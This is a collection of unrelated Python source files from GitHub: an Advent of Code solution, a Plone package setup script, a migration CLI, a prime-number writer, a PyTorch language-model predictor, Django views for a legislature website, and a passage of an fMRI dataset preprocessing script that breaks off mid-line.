+{"seq_id":"25533823598","text":"from utils.input import read_file\n\n\nPREAMBLE_LEN = 25\n\n\ndef valid_numbers(nums):\n    ret = set()\n    for i in range(len(nums) - 1):\n        for j in range(i + 1, len(nums)):\n            ret.add(int(nums[i]) + int(nums[j]))\n    return ret\n\n\ndef part_1(preamble, rest):\n    while True:\n        sum_dict = valid_numbers(preamble)\n        print(sum_dict)\n        if int(rest[0]) not in sum_dict:\n            return int(rest[0])\n        preamble = preamble[1:]\n        preamble.append(rest[0])\n        rest = rest[1:]\n\n\ndef part_2(lines, val):\n    lines = [int(line) for line in lines]\n    i = 0\n    j = 1\n    while True:\n        rng = lines[i:j + 1]\n        total = sum(rng)\n        if total == val:\n            print(f\"Found! {i}, {j}\")\n            mini = min(rng)\n            maxi = max(rng)\n            print(f\"Answer: {mini + maxi}\")\n            return\n        elif total < val:\n            j += 1\n        else:\n            i += 1\n\n\ndef main():\n    lines = read_file(\"9.txt\")\n    preamble = lines[:PREAMBLE_LEN]\n    rest = lines[PREAMBLE_LEN:]\n    val = part_1(preamble, rest)\n\n    part_2(lines, val)\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"alecbrick/advent-of-code","sub_path":"2020/9/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1141,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"43690425211","text":"from setuptools import setup, find_packages\nimport os\n\nversion = '1.6.2.dev0'\n\ntests_require = [\n    'plone.api',\n    'plone.app.testing',\n    'plone.restapi',\n    'mock',\n    'ftw.testbrowser',\n    'ftw.testing',\n]\n\ninstall_requires = [\n    'Plone',\n    'setuptools',\n    'six >= 1.12.0',\n]\n\n\nsetup(\n    name='ftw.casauth',\n    version=version,\n    description='Plone PAS plugin for authentication against CAS.',\n    long_description=(open('README.rst').read() + '\\n' +\n                      open(os.path.join('docs', 'HISTORY.txt')).read()),\n    classifiers=[\n        'Framework :: Plone',\n        'Framework :: Plone :: 4.3',\n        'Framework :: Plone :: 5.1',\n        'Framework :: Plone :: 5.2',\n        'Programming Language :: Python',\n        'Programming Language :: Python :: 2.7',\n        'Programming Language :: Python :: 3.8',\n        'Intended Audience :: Developers',\n        'Topic :: Software Development :: Libraries :: Python Modules',\n    ],\n\n    keywords='',\n    author='Thomas Buchberger',\n    author_email='mailto:t.buchberger@4teamwork.ch',\n    url='https://github.com/4teamwork/ftw.casauth',\n    license='GPL2',\n\n    packages=find_packages(exclude=['ez_setup']),\n    namespace_packages=['ftw'],\n    include_package_data=True,\n    zip_safe=False,\n\n    install_requires=install_requires,\n    tests_require=tests_require,\n    extras_require=dict(tests=tests_require),\n    entry_points=\"\"\"\n    # -*- Entry points: -*-\n    [z3c.autoinclude.plugin]\n    target = plone\n    \"\"\",\n)\n","repo_name":"4teamwork/ftw.casauth","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1501,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"11198423621","text":"import argparse, interactive, non_interactive, env.configure\nfrom env.env_config import *\n\n####################################################\n######################  MAIN #######################\n####################################################\n\nconfig_filepath = set_config_vars(__file__)\n\nparser = argparse.ArgumentParser(description='TSO Code Migration Utility')\ngroup = parser.add_mutually_exclusive_group()\ngroup.add_argument(\"-i\" , \"--interactive\" ,dest=\"Interactive\", action=\"store_true\", help=\"For Interactive code migration.\")\ngroup.add_argument(\"-f\" , \"--file\" , dest=\"Filename\", type=argparse.FileType('r'), help=\"To read modules for code migration from a file. In the file mention -m MODULE_NAME -v VERSION [-r REVISION ]\")\ngroup.add_argument(\"-c\" , \"--configure\" , dest=\"Configure\", action=\"store_true\", help=\"To configure the tso environment for code migration\")\ngroup.add_argument(\"-d\" , \"--displayenv\", dest=\"DisplayEnv\", action=\"store_true\", help='To Display the current Env Config')\ngroup.add_argument(\"-deleteEnv\" , dest=\"DeleteEnv\", action=\"store_true\", help='To Delete the current Env Config')\ngroup.add_argument(\"-m\" , \"--module\" , dest=\"ModuleName\", help=\"Module Name to be migrated\")\nparser.add_argument(\"-a\", \"--activate\", dest=\"Activate\", required=False , action=\"store_true\", help='To activate the Modules. Works only wih -f|--file flag')\nparser.add_argument(\"-v\" , \"--version\" , dest=\"Version\", help=\"Version of the Module. NOTE: Only required if -m/--module is specified\")\nparser.add_argument(\"-r\" , \"--revision\" , dest=\"ReVision\", default=\"\", help=\"Revision of the Version of the Module. NOTE: Only required if -m/--module & -v/--version is specified\")\nargs = parser.parse_args()\n\nif args.Interactive :\n    interactive.main(config_filepath)\nelif args.Filename :\n    non_interactive.main(config_filepath,args.Filename,\"\",args.Activate)\nelif args.Configure:\n    env.configure.main(config_filepath)\nelif args.DisplayEnv:\n    env.configure.display_env(config_filepath)\nelif args.DeleteEnv:\n    env.configure.clear_env(config_filepath)\nelif args.ModuleName and args.Version :\n\tprint(\"Migrating the specific module and version\")\n\tmod_details={'name' : args.ModuleName, 'ver' : args.Version, 'rev' : args.ReVision}\n\tnon_interactive.main(config_filepath,\"\",mod_details,args.Activate)\nelse :\n    parser.print_help()\n","repo_name":"vrs-learn/code_promotion","sub_path":"code_migration.py","file_name":"code_migration.py","file_ext":"py","file_size_in_byte":2342,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"6310551048","text":"# -*- coding:utf-8 -*-\n# @Time : 2019/11/22 10:45 上午\n# @Author: zhr619151879\n# @File : Test.py\n\nimport math\n\n\"\"\"在1-9999间的素数写在三个文件中\n1-99之间的素数保存在a.txt中\n100-999之间的素数保存在b.txt中\n1000-9999之间的素数保存在c.txt中）\"\"\"\n\ndef is_prime(n):\n    for i in range(2, int(math.sqrt(n))):\n        if n % i == 0:\n            return False\n    return True if n != 1 else False\n\ndef write_prime():\n    file_names = ['a.txt','b.txt','c.txt']\n    file_list = [ open( file_names[i], mode='w',encoding='utf-8') for i in range(0,len(file_names))]\n    # print(file_list)\n    for i in file_list:\n        print(i)\n    for i in range(1,10000):\n        if(is_prime(i)):\n            if (i < 100):\n                file_list[0].write(str(i)+'\\n')\n            elif(i<1000):\n                file_list[1].write(str(i) + '\\n')\n            else:\n                file_list[2].write(str(i) + '\\n')\n\nif __name__ == '__main__':\n    write_prime()","repo_name":"zhr619151879/PyRelated","sub_path":"PythonStudy/file_and_exception/File_prime_test/Test.py","file_name":"Test.py","file_ext":"py","file_size_in_byte":974,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"12565925401","text":"import sys\nimport model\nimport argparse\nimport data\nimport torch\nfrom torch.autograd import Variable\n\nparser = argparse.ArgumentParser(description='PyTorch Wikitext-2 RNN/LSTM Language Model')\nparser.add_argument('--model', type=str, default='LSTM',\n                    help='type of recurrent net (RNN_TANH, RNN_RELU, LSTM, GRU)')\nparser.add_argument('--emsize', type=int, default=200,\n                    help='size of word embeddings')\nparser.add_argument('--nhid', type=int, default=400,\n                    help='number of hidden units per layer')\nparser.add_argument('--nlayers', type=int, default=2,\n                    help='number of layers')\nparser.add_argument('--lr', type=float, default=20,\n                    help='initial learning rate')\nparser.add_argument('--clip', type=float, default=0.25,\n                    help='gradient clipping')\nparser.add_argument('--epochs', type=int, default=40,\n                    help='upper epoch limit')\nparser.add_argument('--batch_size', type=int, default=40, metavar='N',\n                    help='batch size')\nparser.add_argument('--bptt', type=int, default=35,\n                    help='sequence length')\nparser.add_argument('--dropout', type=float, default=0.2,\n                    help='dropout applied to layers (0 = no dropout)')\nparser.add_argument('--tied', action='store_true',\n                    help='tie the word embedding and softmax weights')\nparser.add_argument('--seed', type=int, default=1111,\n                    help='random seed')\nparser.add_argument('--cuda', action='store_true',\n                    help='use CUDA')\nparser.add_argument('--weight', type=str, default='out/checkpoint.t7')\n\nargs = parser.parse_args()\n\ntorch.manual_seed(args.seed)\n\ncorpus = torch.load('out/corpus') # type: data.Corpus\nntokens = len(corpus.dictionary)\nncharsize = len(corpus.dictionary.idx2char)\nN_MAX_CHAR_SIZE = 32\n\nmodel = model.RNNModel(args.model, ntokens, ncharsize, N_MAX_CHAR_SIZE,\n                       args.emsize, args.nhid, args.nlayers, args.dropout, args.tied)\nif args.cuda:\n    model.cuda()\n\nmodel.load_state_dict(torch.load(args.weight))\n\nprint('Model load done!')\nwhile True:\n    print('input sentence, split by space >', end='')\n    ip = input()\n    ip_split = ip.split()\n\n    word_vecs = torch.LongTensor(1, len(ip_split))\n    char_vecs = []\n    for i, w in enumerate(ip_split):\n        print(' > changing word ', w, ' to vector')\n        word_vecs[0][i] = corpus.dictionary.word2idx[w]\n        char_vec = torch.zeros(N_MAX_CHAR_SIZE).long()\n        for j, c in enumerate(w):\n            char_vec[j] = corpus.dictionary.char2idx[c] + 1\n        char_vecs.append(char_vec)\n    char_final_vecs = torch.cat(char_vecs).view(1, len(ip_split), N_MAX_CHAR_SIZE)\n    if args.cuda:\n        word_vecs = word_vecs.cuda()\n        char_final_vecs = char_final_vecs.cuda()\n\n    print('Input word vec:')\n    print(word_vecs)\n    print('Input char vec:')\n    print(char_final_vecs)\n\n    hidden = model.init_hidden(1)\n    output, _ = model((Variable(word_vecs), Variable(char_final_vecs)), hidden)\n    print('Output:')\n    output = output.data.squeeze()\n    max_conf, output_idx = torch.max(output, dim=1)\n    print(output_idx)\n    print('Max confidence:', max_conf)\n    for word_idx in output_idx:\n        print(corpus.dictionary.idx2word[word_idx], ' ', end='')\n    print('')\n\n","repo_name":"htfy96/language-model-pytorch","sub_path":"predict.py","file_name":"predict.py","file_ext":"py","file_size_in_byte":3341,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"8024102618","text":"import calendar\nimport datetime\n\nfrom django import forms\nfrom django.db.models import Count\nfrom django.shortcuts import get_object_or_404, render_to_response\nfrom django.views.generic import ListView, DetailView\nfrom django.views.generic.dates import ArchiveIndexView, YearArchiveView, MonthArchiveView\n\nimport requests\nfrom haystack.forms import SearchForm\nfrom haystack.query import RelatedSearchQuerySet\nfrom haystack.views import SearchView\nfrom lxml import html\nfrom popolo.models import Organization\nfrom speeches.models import Section, Speaker, Speech\nfrom speeches.search import SpeakerForm\nfrom legislature.models import Action, Bill\n\n\ndef home(request):\n    hansard = Section.objects.filter(parent=None).order_by('-start_date').first()\n    return render_to_response('home.html', {'hansard': hansard})\n\n\ndef about(request):\n    return render_to_response('about.html', {'title': 'About'})\n\n\nclass TitleAdder(object):\n    def get_context_data(self, **kwargs):\n        context = super(TitleAdder, self).get_context_data(**kwargs)\n        context.update(title=self.page_title)\n        return context\n\n\nclass DebateArchiveIndexView(ArchiveIndexView):\n    queryset = Section.objects.filter(parent=None)\n    date_field = 'start_date'\n    template_name = 'section_archive.html'\ndebates = DebateArchiveIndexView.as_view()\n\n\nclass DebateYearArchiveView(TitleAdder, YearArchiveView):\n    queryset = Section.objects.filter(parent=None).order_by('start_date')\n    date_field = 'start_date'\n    template_name = 'section_archive_year.html'\n    make_object_list = True\n    page_title = lambda self: 'Debates from %s' % self.get_year()\ndebates_by_year = DebateYearArchiveView.as_view()\n\n\nclass DebateMonthArchiveView(TitleAdder, MonthArchiveView):\n    queryset = Section.objects.filter(parent=None).order_by('start_date')\n    date_field = 'start_date'\n    template_name = 'section_archive_month.html'\n    make_object_list = True\n    page_title = lambda self: 'Debates from %s %s' % (calendar.month_name[int(self.get_month())], self.get_year())\n    month_format = '%m'  # Use integers in paths.\ndebates_by_month = DebateMonthArchiveView.as_view()\n\n\nclass SpeakerListView(ListView):\n    queryset = Speaker.objects.exclude(email=None).order_by('sort_name').prefetch_related('memberships')\n    template_name = 'speaker_list.html'\n\n    def get_context_data(self, **kwargs):\n        context = super(SpeakerListView, self).get_context_data(**kwargs)\n        context['memberships_counts'] = Organization.objects.filter(classification='political party').annotate(memberships_count=Count('memberships')).order_by('-memberships_count').prefetch_related('other_names')\n        context['former_list'] = sorted(Speaker.objects.filter(email=None), key=lambda v: v.name.split(' ')[-1].lower())\n        return context\npeople = SpeakerListView.as_view()\n\n\nclass SpeakerDetailView(ListView):\n    paginate_by = 15\n    template_name = 'speaker_detail.html'\n    notices = False\n\n    def get_queryset(self):\n        self.object = get_object_or_404(Speaker, slugs__slug=self.kwargs.get('slug', None))\n        qs = self.object.speech_set.order_by('-start_date', '-id').select_related('section', 'section__parent', 'section__parent__parent')\n        if self.notices:\n            qs = qs.filter(section__heading='NOTICES OF MOTION UNDER RULE 32(3)')\n        else:\n            qs = qs.exclude(section__heading='NOTICES OF MOTION UNDER RULE 32(3)')\n        return qs\n\n    def get_context_data(self, **kwargs):\n        context = super(SpeakerDetailView, self).get_context_data(**kwargs)\n        context['speaker'] = self.object\n        context['notices'] = self.notices\n        return context\nperson = SpeakerDetailView.as_view()\nperson_notices = SpeakerDetailView.as_view(notices=True)\n\n\nclass DebateDetailView(ListView):\n    paginate_by = 15\n    template_name = 'section_detail.html'\n    notices = False\n\n    # @see http://ccbv.co.uk/projects/Django/1.6/django.views.generic.list/ListView/\n    # @see http://ccbv.co.uk/projects/Django/1.6/django.views.generic.detail/DetailView/\n    # @see https://docs.djangoproject.com/en/1.4/topics/class-based-views/#dynamic-filtering\n    def get_queryset(self):\n        self.object = get_object_or_404(Section, parent_id=None, slug=self.kwargs.get('slug', None))\n        self.notices_present = False\n        section_ids = []\n        for section in self.object._get_descendants(include_self=True):\n            if section.title == 'NOTICES OF MOTION UNDER RULE 32(3)':\n                self.notices_present = True\n                if self.notices:\n                    section_ids.append(section.id)\n            elif not self.notices:\n                section_ids.append(section.id)\n        return Speech.objects.filter(section__in=section_ids).prefetch_related('speaker', 'speaker__memberships', 'speaker__memberships__organization', 'section', 'section__parent')\n\n    def get_context_data(self, **kwargs):\n        context = super(DebateDetailView, self).get_context_data(**kwargs)\n        context['section'] = self.object\n        context['notices'] = self.notices\n        context['notices_present'] = self.notices_present\n        return context\ndebate = DebateDetailView.as_view()\nnotices = DebateDetailView.as_view(notices=True)\ndebate_single_page = DebateDetailView.as_view(paginate_by=None)\nnotices_single_page = DebateDetailView.as_view(paginate_by=None, notices=True)\n\n\nclass BillListView(ListView):\n    template_name = 'bill_list.html'\n\n    # @see http://docs.opencivicdata.org/en/latest/proposals/0006.html\n    def get_queryset(self):\n        url = 'http://nslegislature.ca/index.php/proceedings/status-of-bills/sort/status'\n        page = requests.get(url)\n        tree = html.fromstring(page.text)\n        tree.make_links_absolute(url)\n\n        bills = []\n        for tr in tree.xpath('//tr[@valign=\"top\"]'):\n            bill = Bill(\n                identifier=int(tr.xpath('./td[2]//text()')[0]),\n                title=tr.xpath('./td[3]//text()')[0].rstrip('*\\n '),\n                status=tr.xpath('./td[1]//text()')[0],\n                modified=datetime.datetime.strptime(tr.xpath('./td[4]//text()')[0], '%B %d, %Y').date(),\n                url=tr.xpath('./td[3]//@href')[0],\n            )\n            bills.append(bill)\n\n        return bills\nbills = BillListView.as_view()\n\n\nclass BillDetailView(DetailView):\n    template_name = 'bill_detail.html'\n\n    # @see http://ccbv.co.uk/projects/Django/1.5/django.views.generic.detail/DetailView/\n    def get_object(self):\n        url = 'http://nslegislature.ca/index.php/proceedings/bills/%s' % self.kwargs.get(self.slug_url_kwarg, None)\n        page = requests.get(url)\n        tree = html.fromstring(page.text)\n        tree.make_links_absolute(url)\n\n        div = tree.xpath('//div[@id=\"content\"]')[0]\n\n        bill = Bill(\n            identifier=int(div.xpath('./h3//text()')[0].rsplit(' ', 1)[1]),\n            title=div.xpath('./h2//text()')[0].rstrip('*\\n '),\n            url=url,\n            law_amendments_committee_submissions_url=div.xpath('string(.//@href[contains(.,\"/committees/submissions/\")])'),\n        )\n\n        # @see http://nslegislature.ca/index.php/proceedings/bills/liquor_control_act_-_bill_52\n        matches = div.xpath('./p[not(@class)]//@href')\n        if matches:\n            bill.creator = Speaker.objects.get(sources__url=matches[0].rstrip('/'))\n\n        # Some descriptions are identical to titles.\n        description = div.xpath('./h3//text()')[1].rstrip('*\\n ')\n        if bill.title != description:\n            bill.description = description\n\n        if div.xpath('.//text()[contains(.,\"Law Amendments Committee\")]'):\n            bill.classification = 'Public Bills'\n        elif div.xpath('.//text()[contains(.,\"Private and Local Bills\")]'):\n            bill.classification = 'Private and Local Bills'\n\n        actions = []\n        for tr in div.xpath('.//tr'):\n            matches = tr.xpath('./td//text()')\n            if matches and matches[0] != 'View':  # Skip link to statute\n                description = tr.xpath('./th//text()')[0].strip()\n                if description == 'Second Reading Passed':\n                    description = 'Second Reading'\n                action = Action(description=description)\n                try:\n                    action.date = datetime.datetime.strptime(matches[0].split(';', 1)[0], '%B %d, %Y').date()  # Use the first date\n                except ValueError:\n                    action.text = matches[0]\n                actions.append(action)\n\n        # Assigning `actions` to an `action_set` will trigger a database call.\n        setattr(bill, 'actions', actions)\n\n        return bill\nbill = BillDetailView.as_view()\n\n\n# @see http://django-haystack.readthedocs.org/en/latest/views_and_forms.html#creating-your-own-form\n# @see https://github.com/toastdriven/django-haystack/blob/master/haystack/forms.py\nclass SpeechForm(SearchForm):\n    \"\"\"\n    A form with a hidden integer field that searches the speaker ID field\n    \"\"\"\n    p = forms.IntegerField(required=False, widget=forms.HiddenInput())\n    speaker = None  # the speaker object\n\n    def __init__(self, *args, **kwargs):\n        if kwargs.get('searchqueryset') is None:\n            kwargs['searchqueryset'] = RelatedSearchQuerySet()\n        super(SpeechForm, self).__init__(*args, **kwargs)\n\n    # @see http://django-haystack.readthedocs.org/en/latest/searchqueryset_api.html\n    # @see http://django-haystack.readthedocs.org/en/latest/searchqueryset_api.html#SearchQuerySet.auto_query\n    def search(self):\n        if not self.is_valid():\n            return self.no_query_found()\n\n        if self.cleaned_data.get('p'):\n            try:\n                self.speaker = Speaker.objects.get(id=self.cleaned_data['p'])\n            except Speaker.DoesNotExist:\n                pass\n\n        if not self.cleaned_data.get('q'):\n            return self.no_query_found()\n\n        # SearchForm calls `auto_query` here, which will escape colons.\n        sqs = self.searchqueryset.raw_search(self.cleaned_data['q'])\n\n        if self.load_all:\n            sqs = sqs.load_all()\n\n        # Like HighlightedSearchForm and ModelSearchForm.\n        sqs = sqs.highlight().models(Section, Speech)\n\n        if self.speaker:\n            sqs = sqs.filter(speaker=self.speaker.id)\n\n        return sqs\n\n\n# @see http://django-haystack.readthedocs.org/en/latest/views_and_forms.html#views\n# @see https://github.com/toastdriven/django-haystack/blob/master/haystack/views.py\nclass CustomSearchView(SearchView):\n    def __init__(self, *args, **kwargs):\n        kwargs['form_class'] = SpeechForm\n        super(CustomSearchView, self).__init__(*args, **kwargs)\n\n    def build_form(self, *args, **kwargs):\n        self.searchqueryset = RelatedSearchQuerySet()\n        if self.request.GET.get('sort') == 'newest':\n            self.searchqueryset = self.searchqueryset.order_by('-start_date')\n        return super(CustomSearchView, self).build_form(*args, **kwargs)\n\n    def extra_context(self):\n        if not self.query:\n            return {}\n\n        self.form_class = SpeakerForm\n        person_form = self.build_form()\n        return {\n            'speaker_results': person_form.search(),\n        }\n","repo_name":"pannellr/openhousens.ca","sub_path":"legislature/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":11161,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"77"}
+{"seq_id":"25668054670","text":"\"\"\"\nRun this script to data pre-process\nConcats fmri and image file\n\"\"\"\nimport os.path\nimport torch\nimport pickle\nfrom bdpy import BData\nimport csv\nimport pandas as pd\nimport shutil\nimport random\nimport os\nfrom PIL import Image\nfrom sklearn import preprocessing\nimport matplotlib.pyplot as plt\nimport torchvision.transforms as transforms\nimport numpy as np\nfrom utils_2 import GreyToColor\n\n\ndef ren_data_prep(data_dir, image_list_dir, norm=True):\n    \"\"\"\n    Loads H5 data, pulls voxels from ROI and image index. (TRAINING)\n    Combines these into a list of dictionaries formatted as:\n    [{'fmri': VOXEL_DATA_ARRAY, 'image': IMAGE_PATH}, ...\n    {'fmri': VOXEL_DATA_ARRAY, 'image': IMAGE_PATH}]\n\n    Saves these training sets per subject\n\n    :param data_dir: should be:\n        \"D:/Honours/Object Decoding Dataset/7387130/\"\n    :param image_list_dir: should lead to numbered list of image names:\n        \"D:/Honours/Object Decoding Dataset/images_passwd/images/image_training_id_nmd.csv\"\n\n    Note: Works for the GOD data, unsure if this will work for NSD\n\n    \"\"\"\n    DATA_TYPE = 'train' # train or valid\n    DATASET = 'GOD'\n    # TRAIN_IMG_PATH = \"D:/Honours/Object Decoding Dataset/images_passwd/images/training/\"\n    SAVE_PATH = \"D:/Lucha_Data/datasets/\"\n    if DATA_TYPE == 'train':\n        image_type = 'train/'\n    if DATA_TYPE == 'valid':\n        image_type = 'valid/'\n    FILE_NAME_OUTPUT = '/images/' + image_type # Defines the path in the dictionary outputs\n\n    # norm = True # TODO: Can remove\n\n    with open(image_list_dir, 'r') as f:\n        image_list = list(csv.reader(f, delimiter=\",\"))\n\n    image_list_dir = image_list_dir\n\n    image_list = pd.DataFrame(image_list)\n    image_list.columns = ['Image_ID', 'File_Name']\n    image_list = image_list.astype({'Image_ID': 'int32'})\n    image_list = image_list.astype({'File_Name': 'string'})\n\n    subjects = ['Subject1', 'Subject2', 'Subject3', 'Subject4', 'Subject5']\n    training_data = []\n\n    for sub in subjects:\n        fmri_image_dataset = []\n        data = BData(data_dir + sub + '.h5')\n        # data = BData(data_dir + 'Subject3.h5') # TODO: COMMENT THIS OUT (Testing only)\n        if DATA_TYPE == 'train':\n            fmri = data.select('ROI_VC')[:1200]\n            image_idx = data.select('image_index')[:1200]\n        if DATA_TYPE == 'valid':\n            fmri = data.select('ROI_VC')[1200:2950] # Corresponds to trials in test phase (50 images x 35 presentations)\n            image_idx = data.select('image_index')[1200:2950]\n        image_idx = pd.DataFrame(image_idx, dtype='int')\n        image_idx.columns = ['Image_ID']\n        image_names= image_idx.merge(image_list, how='left', on='Image_ID')\n        image_names['File_Name'] = FILE_NAME_OUTPUT + image_names['File_Name'].astype(str)\n        image_names = image_names.to_numpy()\n        image_names = image_names[:,1]\n\n        # Normalise fMRI\n        if norm:\n            # by_row_norm_data = fmri[0]\n            # by_row_norm = preprocessing.scale(by_row_norm_data)\n            normed_fmri = preprocessing.scale(fmri)\n            # fmri_pd = pd.DataFrame(normed_fmri, dtype='float')\n            fmri_pd = normed_fmri\n            norm_status = '_normed'\n\n        if not norm:\n            # fmri_pd = pd.DataFrame(fmri, dtype='float')\n            norm_status = '_raw'\n            fmri_pd = fmri\n\n        # Plot distribution\n        # fig, ax = plt.subplots()\n        # test = np.random.randint(0,1200,8)\n        vis = False\n\n        if vis:\n            test = [167]\n            data_plot = pd.DataFrame(fmri_pd, dtype='float')\n            sub_data = data_plot[0:4].T\n            # Checking proportion of raw data about abs(3)\n            # sub_data_abs = abs(sub_data)\n            # counts = sub_data[sub_data > 3.0].count()\n            # sub_data.count()\n            # prop = counts/(sub_data.count())\n            sub_data.plot.box()\n            plt.show()\n\n            for x in test:\n                data_plot_sub = data_plot.iloc[x]\n                hist = data_plot_sub.hist(bins=20)\n                plt.show()\n\n            # full_hist = data_plot.hist(bins=10)\n            plt.show()\n            # plt.close()\n\n\n        for idx, (vox, pix) in enumerate(zip(fmri_pd, image_names)):\n            fmri_image_dataset.append({'fmri': vox, 'image': pix})\n\n        # print(pd.DataFrame.mean(fmri_pd))\n        # print(fmri_pd.stack().std())\n        # print(fmri_pd[8].mean())\n\n        # Adds the subject to full training list\n        training_data.extend(fmri_image_dataset)\n\n        with open(os.path.join(SAVE_PATH, DATASET, DATASET + '_' + sub + '_' + DATA_TYPE + norm_status + '.pickle'), 'wb') as f:\n            pickle.dump(fmri_image_dataset, f)\n\n    # Append all lists for full training dataset\n    with open(os.path.join(SAVE_PATH, DATASET, DATASET + '_' + 'all_subjects_' + DATA_TYPE + norm_status + '.pickle'), 'wb') as f:\n        pickle.dump(training_data, f)\n\n\ndef ren_data_prep_average(data_dir, image_list_dir, norm = True, avg = True):\n    \"\"\"\n    Loads H5 data, pulls voxels from ROI and image index. (TEST)\n    Averages by each image presentation\n    Combines these into a list of dictionaries formatted as:\n    [{'fmri': VOXEL_DATA_ARRAY, 'image': IMAGE_PATH}, ...\n    {'fmri': VOXEL_DATA_ARRAY, 'image': IMAGE_PATH}]\n\n    Saves these training sets per subject\n\n    :param data_dir: should be:\n        \"D:/Honours/Object Decoding Dataset/7387130/\"\n    :param image_list_dir: should lead to numbered list of image names:\n        \"D:/Honours/Object Decoding Dataset/images_passwd/images/image_training_id_nmd.csv\"\n\n    Note: Works for the GOD data, unsure if this will work for NSD\n\n    \"\"\"\n    DATA_TYPE = 'valid' # train or valid\n    DATASET = 'GOD'\n    # TRAIN_IMG_PATH = \"D:/Honours/Object Decoding Dataset/images_passwd/images/training/\"\n    SAVE_PATH = \"D:/Lucha_Data/datasets/\"\n    if DATA_TYPE == 'train':\n        image_type = 'train/'\n    if DATA_TYPE == 'valid':\n        image_type = 'valid/'\n\n    FILE_NAME_OUTPUT = '/images/' + image_type  # Defines the path in the dictionary outputs\n\n    with open(image_list_dir, 'r') as f:\n        image_list = list(csv.reader(f, delimiter=\",\"))\n\n    image_list_dir = image_list_dir\n\n    image_list = pd.DataFrame(image_list)\n    image_list.columns = ['Image_ID', 'File_Name']\n    image_list = image_list.astype({'Image_ID': 'int32'})\n    image_list = image_list.astype({'File_Name': 'string'})\n\n    subjects = ['Subject1', 'Subject2', 'Subject3', 'Subject4', 'Subject5']\n    training_data = []\n\n    for sub in subjects:\n        fmri_image_dataset = []\n        data = BData(data_dir + sub + '.h5')\n        # data = BData(data_dir + 'Subject3.h5') # TODO: Get rid of this | Testing only\n        if DATA_TYPE == 'train':\n            fmri = data.select('ROI_VC')[:1200]\n            image_idx = data.select('image_index')[:1200]\n        if DATA_TYPE == 'valid':\n            fmri = data.select('ROI_VC')[1200:2950] # Corresponds to trials in test phase (50 images x 35 presentations)\n            image_idx = data.select('image_index')[1200:2950]\n\n        #####\n        # avg = True\n        #####\n\n        if avg:\n            image_idx = pd.DataFrame(image_idx, dtype='int')\n            image_idx.columns = ['Image_ID']\n            image_names= image_idx.merge(image_list, how='left', on='Image_ID') # Works for testing\n            file_names = image_names.loc[:,'File_Name']\n            if norm:\n                ###\n                normed_pre_avg = preprocessing.scale(fmri)\n                fmri_pd = pd.DataFrame(normed_pre_avg, dtype='float')\n                norm_status = '_normed'\n            if not norm:\n                fmri_pd = pd.DataFrame(fmri, dtype='float')\n                norm_status = '_raw'\n            fmri_image = pd.concat([file_names, fmri_pd], axis=1)\n            # fmri_image.to_csv(r'fmri_image_test.csv', index=False, header=True) # To test calcs, all good.\n            avg_fmri = fmri_image.groupby('File_Name').mean()\n            avg_status = '_avg'\n            fmri_pd = pd.DataFrame(avg_fmri).to_numpy()\n            # fmri_pd = fmri_pd.reset_index(drop=True)\n\n            avg_row_names = pd.DataFrame(avg_fmri)\n            avg_row_names = avg_row_names.index.values\n\n            image_names = FILE_NAME_OUTPUT + avg_row_names\n\n        if not avg:\n            image_idx = pd.DataFrame(image_idx, dtype='int')\n            image_idx.columns = ['Image_ID']\n            image_names = image_idx.merge(image_list, how='left', on='Image_ID')  # Works for testing\n            image_names['File_Name'] = FILE_NAME_OUTPUT + image_names['File_Name'].astype(str)\n            image_names = image_names.to_numpy()\n            image_names = image_names[:, 1]\n            avg_status = ''\n\n            # Normalise fMRI\n            if norm:\n                normed_fmri = preprocessing.scale(fmri)\n                # fmri_pd = pd.DataFrame(normed_fmri, dtype='float')\n                fmri_pd = normed_fmri\n                norm_status = '_normed'\n\n            if not norm:\n                # fmri_pd = pd.DataFrame(fmri, dtype='float')\n                fmri_pd = fmri\n                norm_status = '_raw'\n\n        for idx, (vox, pix) in enumerate(zip(fmri_pd, image_names)):\n            fmri_image_dataset.append({'fmri': vox, 'image': pix})\n        # raise Exception()\n        # # Adds the subject to full training list\n        # training_data.extend(fmri_image_dataset)\n\n        with open(os.path.join(SAVE_PATH, DATASET, DATASET + '_' + sub + '_' + DATA_TYPE + norm_status + avg_status + '.pickle'), 'wb') as f:\n            pickle.dump(fmri_image_dataset, f)\n\n    # Append all lists for full training dataset\n    # with open(os.path.join(SAVE_PATH, DATASET, DATASET + '_' + 'all_subjects_' + DATA_TYPE + norm_status + avg_status + '.pickle'), 'wb') as f:\n    #     pickle.dump(training_data, f)\n\n\nif __name__ == \"__main__\":\n\n    \"\"\"\n    Script for taking GOD data voxels, and turning them into list of dictionaries\n    \"\"\"\n    fmri_image_comp = True\n\n    if fmri_image_comp:\n        training = False # CHANGE THIS DEPENDING ON WHAT YOU'RE DOING\n\n        data_dir = \"D:/Honours/Object Decoding Dataset/7387130/\"  # Where h5 files are stored\n\n        if training:\n            image_list_dir = \"D:/Honours/Object Decoding Dataset/images_passwd/images/image_training_id_nmd.csv\"\n            # subj_pick_PATH = \"D:/Honours/Object Decoding Dataset/7387130/Subject Training Pickles/\"\n            ren_data_prep(data_dir, image_list_dir, norm=True)\n\n        training = False\n\n        if not training:\n            image_list_dir = \"D:/Honours/Object Decoding Dataset/images_passwd/images/image_test_id_nmd.csv\"\n            ren_data_prep_average(data_dir, image_list_dir, norm=True, avg=True)  # Avg Data\n            # ren_data_prep_average(data_dir, image_list_dir, norm=True, avg=False)\n\n            # Concat all pickles\n        # training_data = concatenate_bold_data(subj_pick_PATH)\n\n        # with open(os.path.join(SAVE_PATH, 'bold_train', 'bold_train_norm.pickle'), 'wb') as f:\n        #     pickle.dump(train_data, f)\n        # Script End\n\n\n    # Grab random selection of 10k images from validation set (GOD ImageNet 2011)\n    val_path = 'D:/Honours/val/'\n    square_dir = 'D:/Lucha_Data/datasets/GOD/images/sq_pretrain/'\n    pretrain_dir 